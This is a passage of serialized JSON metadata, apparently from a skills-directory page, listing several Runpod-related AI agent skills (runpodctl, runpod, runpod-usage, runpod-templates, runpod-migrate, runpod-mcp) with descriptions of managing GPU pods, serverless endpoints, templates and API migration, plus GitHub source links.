llNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]